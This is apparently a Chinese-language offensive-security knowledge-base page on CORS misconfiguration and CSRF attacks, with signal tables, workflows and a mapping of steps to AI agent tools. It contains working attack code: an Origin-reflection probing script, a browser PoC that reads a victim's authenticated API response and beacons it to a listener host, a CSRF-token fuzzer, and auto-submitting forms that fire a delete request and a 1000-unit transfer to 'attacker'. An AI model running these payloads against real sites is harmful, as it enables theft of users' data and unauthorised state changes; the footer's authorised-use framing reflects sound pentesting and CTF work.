Skip to content

CORS / CSRF 高级攻击 ​

CORS 决定跨域 JS 能不能读响应,CSRF 决定跨站页面能不能借浏览器状态触发动作。实战里两者经常相互接力:CORS 读 token,CSRF 打状态动作;XSS/admin bot 又能把两条线合并。

输入信号 ​

信号立即动作命中样本失败样本
响应有 Access-Control-Allow-OriginOrigin 变体 + credentials oracle反射 attacker origin 且 ACAC=true只允许固定白名单
接口接受 Cookie 会话带/不带 credentials 对比跨域读到 /api/me、订单、flag响应不含认证态
Origin: null 被允许sandbox iframe/data/file originnull origin 读到认证响应null 明确拒绝
CSRF token 在 HTML/API 中先读 token,再单变量突变动作token 可复用/跨用户/空值通过token 绑定 session+动作
SameSite=Lax/缺失GET 导航和 top-level form状态动作被触发SameSite/Origin/Token 阻断
JSON API 无 tokentext/plain、form、simple request 绕 preflight状态变化或业务响应推进preflight 或 content-type 校验

工作流 ​

text
建立同源 baseline
  → Origin/credentials/preflight 变体扫描
  → 判断能读响应还是只能触发动作
  → 抽 CSRF token 与 SameSite 行为
  → 单变量重放状态动作
  → 将响应读取、业务副作用和失败样本写入 Evidence

0. 判定矩阵 ​

ACAOACACCookie 是否发出JS 能否读价值
反射 attacker origintrue是是可读认证响应
*无/false否或无关是只能读公开 API
nulltrue是是sandbox/data/file origin 路线
固定 trusted origintrue是否找白名单匹配绕过
无 ACAO任意是否转 CSRF 状态动作

1. Origin 与 preflight oracle ​

python
#!/usr/bin/env python3
import argparse
import hashlib
import json
import requests
from urllib.parse import urlparse

def host(url):
    return urlparse(url).netloc

def h(text):
    return hashlib.sha256(text.encode("utf-8", errors="ignore")).hexdigest()[:16]

def origins(base):
    hn = host(base)
    return [
        "null",
        f"https://evil.{hn}",
        f"https://{hn}.attacker.example",
        f"http://{hn}",
        f"https://{hn.replace('.', '-')}.attacker.example",
        "https://attacker.example",
    ]

def probe(url, origin, method="GET", cookie=""):
    headers = {"Origin": origin}
    if cookie:
        headers["Cookie"] = cookie
    r = requests.request(method, url, headers=headers, timeout=10)
    return {
        "origin": origin,
        "method": method,
        "status": r.status_code,
        "hash": h(r.text),
        "acao": r.headers.get("Access-Control-Allow-Origin", ""),
        "acac": r.headers.get("Access-Control-Allow-Credentials", ""),
        "vary": r.headers.get("Vary", ""),
        "sample": r.text[:160],
    }

def preflight(url, origin, req_method="POST", req_headers="content-type,x-csrf-token"):
    r = requests.options(url, headers={
        "Origin": origin,
        "Access-Control-Request-Method": req_method,
        "Access-Control-Request-Headers": req_headers,
    }, timeout=10)
    return {
        "origin": origin,
        "status": r.status_code,
        "acao": r.headers.get("Access-Control-Allow-Origin", ""),
        "acam": r.headers.get("Access-Control-Allow-Methods", ""),
        "acah": r.headers.get("Access-Control-Allow-Headers", ""),
        "acac": r.headers.get("Access-Control-Allow-Credentials", ""),
    }

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cookie", default="")
    args = ap.parse_args()
    for o in origins(args.url):
        print(json.dumps({"simple": probe(args.url, o, cookie=args.cookie), "preflight": preflight(args.url, o)}, ensure_ascii=False))

if __name__ == "__main__":
    main()

成功样本:attacker origin 被反射,ACAC=true,带 cookie 的响应 hash 与同源 baseline 一致或包含用户字段。失败样本:只有公开字段、无 ACAC、preflight 不允许目标 method/header。

2. 浏览器 PoC 模板 ​

html
<!doctype html>
<script>
async function run() {
  const target = "https://target.example/api/me";
  const r = await fetch(target, {credentials: "include"});
  const t = await r.text();
  navigator.sendBeacon("https://listener.example/cors", JSON.stringify({
    status: r.status,
    type: r.type,
    body: t.slice(0, 2000)
  }));
}
run().catch(e => navigator.sendBeacon("https://listener.example/cors-err", String(e)));
</script>

如果浏览器 console 显示 CORS error,但服务端状态已经变化,这不是 CORS 读取,而是 CSRF 状态动作路线。

3. CSRF token 变体 ​

变体操作命中样本失败样本
remove删除 token 字段/header动作成功csrf missing
emptytoken 置空/null动作成功csrf invalid
reuse同一 token 重放多次多次成功一次后失效
cross-userA token 给 B sessionB 动作成功session mismatch
cross-actionprofile token 打 transfer动作成功action mismatch
method flipPOST 改 GET/PUT/override状态变化method 拒绝
content-type flipJSON 改 text/plain/form状态变化strict content-type
python
#!/usr/bin/env python3
import argparse
import copy
import hashlib
import json
import requests

def h(text):
    return hashlib.sha256(text.encode("utf-8", errors="ignore")).hexdigest()[:16]

def variants(body, token_name):
    yield "baseline", body
    b = copy.deepcopy(body); b.pop(token_name, None); yield "remove_token", b
    for v in ("", None, "0", "undefined"):
        b = copy.deepcopy(body); b[token_name] = v; yield f"token={v}", b

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cookie", default="")
    ap.add_argument("--body", required=True, help="JSON body")
    ap.add_argument("--token-name", default="csrf_token")
    args = ap.parse_args()
    sess = requests.Session()
    if args.cookie:
        sess.headers["Cookie"] = args.cookie
    base = json.loads(args.body)
    for name, b in variants(base, args.token_name):
        r = sess.post(args.url, json=b, timeout=10)
        print(json.dumps({"case": name, "status": r.status_code, "hash": h(r.text), "sample": r.text[:180]}, ensure_ascii=False))

if __name__ == "__main__":
    main()

4. SameSite 与 simple request ​

html
<!-- SameSite=Lax: top-level GET/navigation 常带 cookie,适合找 GET 状态动作 -->
<a id=x href="https://target.example/api/delete?id=123">go</a>
<script>x.click()</script>

<!-- text/plain 避免预检;后端若宽松解析 JSON-like body,可触发动作 -->
<form method="POST" action="https://target.example/api/transfer" enctype="text/plain">
  <textarea name='{"to":"attacker","amount":1000,"x":"'>x"}</textarea>
  <button>go</button>
</form>
<script>document.forms[0].submit()</script>

判定:SameSite 路线看的是状态变化,不要求 JS 能读响应;CORS 路线看的是响应可读。两者不要混在同一个结论里。

攻击链 ​

text
CORS 反射 + ACAC
  → 跨域读 /api/me 或 CSRF token
  → 带 token 打状态动作
  → 外带业务响应或 flag

CSRF simple request
  → 借浏览器 cookie 触发状态动作
  → 用状态查询/回调/邮件/订单页确认副作用

Evidence ​

项记录内容
CORS baselineURL、Origin、ACAO、ACAC、Vary、preflight 结果
凭据行为Cookie 是否随请求、JS 是否能读 body、响应 hash
CSRF 变体token 删除/空值/复用/跨用户/跨动作/method/content-type
SameSitecookie 属性、导航方式、method、状态动作结果
成功样本跨域读到认证数据/token/flag,或跨站动作产生可复查副作用
失败样本CORS error 且无副作用、token mismatch、preflight 拒绝、SameSite 不带 cookie
下一跳读到 JWT 转 02-auth/jwt;读到前端状态转 admin-bot-xss;业务动作转支付/IDOR

MCP 工具映射 ​

步骤MCP 工具说明
CORS 头探测http_probe固定 Origin/credentials/preflight 变体
浏览器 PoCjshook验证 JS 是否能读 body、是否有副作用
知识路由kb_router按 CORS、CSRF、SameSite、preflight 信号搜索

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用